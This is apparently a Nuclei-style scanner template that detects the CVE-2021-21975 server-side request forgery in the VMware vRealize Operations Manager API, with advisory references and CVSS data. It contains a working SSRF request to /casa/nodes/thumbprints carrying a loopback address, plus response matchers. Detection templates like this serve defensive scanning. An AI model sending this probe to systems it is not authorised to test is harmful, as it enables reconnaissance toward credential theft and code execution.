id: CVE-2021-21975

info:
  name: vRealize Operations Manager API - Server-Side Request Forgery
  author: luci
  severity: high
  description: vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0004.html
    - http://packetstormsecurity.com/files/162349/VMware-vRealize-Operations-Manager-Server-Side-Request-Forgery-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21975
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-21975
    cwe-id: CWE-918
  tags: cve,cve2021,ssrf,vmware,vrealize,cisa

requests:
  - raw:
      - |
        POST /casa/nodes/thumbprints HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        ["127.0.0.1:443/ui/"]

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - 'vRealize Operations Manager'
          - 'thumbprint'
          - 'address'
        condition: and

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/27